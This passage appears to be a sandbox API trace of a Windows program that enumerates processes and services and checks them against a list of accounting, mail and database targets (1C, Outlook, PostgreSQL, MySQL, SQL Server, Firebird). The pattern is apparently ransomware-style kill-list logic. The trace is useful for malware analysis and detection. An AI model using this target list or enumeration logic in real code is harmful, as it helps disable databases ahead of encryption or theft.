lstrcmpiW (lpString1="1cv77.exe", lpString2="cmd.exe") returned -1 [0195.826] lstrcmpiW (lpString1="outlook.exe", lpString2="cmd.exe") returned 1 [0195.826] lstrcmpiW (lpString1="postgres.exe", lpString2="cmd.exe") returned 1 [0195.826] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="cmd.exe") returned 1 [0195.826] lstrcmpiW (lpString1="mysqld.exe", lpString2="cmd.exe") returned 1 [0195.826] lstrcmpiW (lpString1="sqlservr.exe", lpString2="cmd.exe") returned 1 [0195.826] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0195.827] lstrlenW (lpString="conhost.exe") returned 11 [0195.827] lstrcmpiW (lpString1="1c8.exe", lpString2="conhost.exe") returned -1 [0195.827] lstrcmpiW (lpString1="1cv77.exe", lpString2="conhost.exe") returned -1 [0195.827] lstrcmpiW (lpString1="outlook.exe", lpString2="conhost.exe") returned 1 [0195.827] lstrcmpiW (lpString1="postgres.exe", lpString2="conhost.exe") returned 1 [0195.827] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="conhost.exe") returned 1 [0195.827] lstrcmpiW (lpString1="mysqld.exe", lpString2="conhost.exe") returned 1 [0195.827] lstrcmpiW (lpString1="sqlservr.exe", lpString2="conhost.exe") returned 1 [0195.827] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1a8, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0195.828] lstrlenW (lpString="consent.exe") returned 11 [0195.828] lstrcmpiW (lpString1="1c8.exe", lpString2="consent.exe") returned -1 [0195.828] lstrcmpiW (lpString1="1cv77.exe", lpString2="consent.exe") returned -1 [0195.828] lstrcmpiW (lpString1="outlook.exe", lpString2="consent.exe") returned 1 [0195.828] lstrcmpiW (lpString1="postgres.exe", lpString2="consent.exe") returned 1 [0195.828] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="consent.exe") returned 1 [0195.828] lstrcmpiW (lpString1="mysqld.exe", lpString2="consent.exe") returned 1 [0195.828] lstrcmpiW (lpString1="sqlservr.exe", lpString2="consent.exe") returned 1 [0195.828] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0195.828] lstrlenW (lpString="vssadmin.exe") returned 12 [0195.828] lstrcmpiW (lpString1="1c8.exe", lpString2="vssadmin.exe") returned -1 [0195.828] lstrcmpiW (lpString1="1cv77.exe", lpString2="vssadmin.exe") returned -1 [0195.828] lstrcmpiW (lpString1="outlook.exe", lpString2="vssadmin.exe") returned -1 [0195.828] lstrcmpiW (lpString1="postgres.exe", lpString2="vssadmin.exe") returned -1 [0195.828] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="vssadmin.exe") returned -1 [0195.828] lstrcmpiW (lpString1="mysqld.exe", lpString2="vssadmin.exe") returned -1 [0195.828] lstrcmpiW (lpString1="sqlservr.exe", lpString2="vssadmin.exe") returned -1 [0195.829] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0195.829] lstrlenW (lpString="dllhost.exe") returned 11 [0195.829] lstrcmpiW (lpString1="1c8.exe", lpString2="dllhost.exe") returned -1 [0195.829] lstrcmpiW (lpString1="1cv77.exe", lpString2="dllhost.exe") returned -1 [0195.829] lstrcmpiW (lpString1="outlook.exe", lpString2="dllhost.exe") returned 1 [0195.829] lstrcmpiW (lpString1="postgres.exe", lpString2="dllhost.exe") returned 1 [0195.829] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="dllhost.exe") returned 1 [0195.829] lstrcmpiW (lpString1="mysqld.exe", lpString2="dllhost.exe") returned 1 [0195.829] lstrcmpiW (lpString1="sqlservr.exe", lpString2="dllhost.exe") returned 1 [0195.830] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0195.830] CloseHandle (hObject=0x518) returned 1 [0195.830] Sleep (dwMilliseconds=0x1f4) [0196.760] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447b0d0 [0196.761] EnumServicesStatusExW (in: hSCManager=0x447b0d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0196.761] GetLastError () returned 0xea [0196.761] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c94) returned 0x44e6180 [0196.761] EnumServicesStatusExW (in: hSCManager=0x447b0d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x44e6180, cbBufSize=0x1c94, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x44e6180, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0196.762] CloseServiceHandle (hSCObject=0x447b0d0) returned 1 [0196.763] lstrlenW (lpString="Appinfo") returned 7 [0196.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0196.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0196.763] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0196.763] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0196.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0196.763] lstrlenW (lpString="AppXSvc") returned 7 [0196.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0196.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0196.763] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0196.763] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0196.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0196.763] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0196.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0196.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0196.763] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0196.763] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0196.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0196.763] lstrlenW (lpString="Audiosrv") returned 8 [0196.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0196.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0196.763] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0196.763] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0196.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0196.763] lstrlenW (lpString="BFE") returned 3 [0196.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0196.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0196.764] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0196.764] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0196.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0196.764] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0196.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0196.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0196.764] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0196.764] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0196.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0196.764] lstrlenW (lpString="CDPSvc") returned 6 [0196.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0196.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0196.764] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0196.764] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0196.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0196.764] lstrlenW (lpString="ClickToRunSvc") returned 13 [0196.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0196.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0196.764] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0196.764] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0196.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0196.764] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0196.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0196.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0196.764] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0196.764] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0196.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0196.764] lstrlenW (lpString="CryptSvc") returned 8 [0196.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0196.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0196.764] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0196.765] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0196.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0196.765] lstrlenW (lpString="DcomLaunch") returned 10 [0196.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0196.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0196.765] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0196.765] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0196.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0196.765] lstrlenW (lpString="DeviceAssociationService") returned 24 [0196.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0196.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0196.765] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0196.765] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0196.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0196.765] lstrlenW (lpString="Dhcp") returned 4 [0196.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0196.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0196.765] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0196.765] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0196.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0196.765] lstrlenW (lpString="Dnscache") returned 8 [0196.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0196.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0196.765] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0196.765] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0196.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0196.765] lstrlenW (lpString="DPS") returned 3 [0196.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0196.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0196.765] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0196.765] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0196.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0196.766] lstrlenW (lpString="DsmSvc") returned 6 [0196.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0196.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0196.766] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0196.766] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0196.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0196.766] lstrlenW (lpString="DusmSvc") returned 7 [0196.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0196.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0196.766] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0196.766] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0196.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0196.766] lstrlenW (lpString="EventLog") returned 8 [0196.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0196.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0196.766] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0196.766] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0196.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0196.766] lstrlenW (lpString="EventSystem") returned 11 [0196.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0196.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0196.766] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0196.766] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0196.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0196.766] lstrlenW (lpString="FontCache") returned 9 [0196.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0196.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0196.766] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0196.766] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0196.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0196.767] lstrlenW (lpString="gpsvc") returned 5 [0196.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0196.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0196.767] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0196.767] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0196.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0196.767] lstrlenW (lpString="iphlpsvc") returned 8 [0196.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0196.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0196.767] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0196.767] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0196.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0196.767] lstrlenW (lpString="KeyIso") returned 6 [0196.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0196.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0196.767] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0196.767] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0196.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0196.767] lstrlenW (lpString="LanmanServer") returned 12 [0196.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0196.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0196.767] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0196.767] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0196.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0196.767] lstrlenW (lpString="LanmanWorkstation") returned 17 [0196.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0196.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0196.767] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0196.767] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0196.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0196.768] lstrlenW (lpString="lfsvc") returned 5 [0196.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0196.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0196.768] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0196.768] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0196.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0196.768] lstrlenW (lpString="lmhosts") returned 7 [0196.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0196.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0196.768] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0196.768] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0196.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0196.768] lstrlenW (lpString="LSM") returned 3 [0196.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0196.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0196.768] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0196.768] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0196.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0196.768] lstrlenW (lpString="MpsSvc") returned 6 [0196.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0196.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0196.768] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0196.768] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0196.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0196.768] lstrlenW (lpString="NcbService") returned 10 [0196.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0196.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0196.768] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0196.768] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0196.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0196.931] lstrlenW (lpString="netprofm") returned 8 [0196.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0196.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0196.932] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0196.932] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0196.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0196.932] lstrlenW (lpString="NgcSvc") returned 6 [0196.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0196.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0196.932] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0196.932] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0196.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0196.932] lstrlenW (lpString="NlaSvc") returned 6 [0196.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0196.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0196.932] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0196.932] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0196.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0196.932] lstrlenW (lpString="nsi") returned 3 [0196.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0196.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0196.932] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0196.932] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0196.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0196.932] lstrlenW (lpString="PcaSvc") returned 6 [0196.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0196.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0196.932] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0196.933] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0196.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0196.933] lstrlenW (lpString="PlugPlay") returned 8 [0196.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0196.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0196.933] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0196.933] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0196.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0196.933] lstrlenW (lpString="Power") returned 5 [0196.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0196.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0196.933] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0196.933] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0196.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0196.933] lstrlenW (lpString="ProfSvc") returned 7 [0196.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0196.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0196.933] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0196.933] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0196.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0196.933] lstrlenW (lpString="RpcEptMapper") returned 12 [0196.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0196.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0196.933] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0196.933] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0196.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0196.933] lstrlenW (lpString="RpcSs") returned 5 [0196.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0196.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0196.933] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0196.934] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0196.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0196.934] lstrlenW (lpString="SamSs") returned 5 [0196.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0196.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0196.934] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0196.934] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0196.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0196.934] lstrlenW (lpString="Schedule") returned 8 [0196.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0196.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0196.934] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0196.934] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0196.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0196.934] lstrlenW (lpString="SecurityHealthService") returned 21 [0196.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0196.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0196.934] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0196.934] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0196.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0196.934] lstrlenW (lpString="SENS") returned 4 [0196.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0196.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0196.934] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0196.934] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 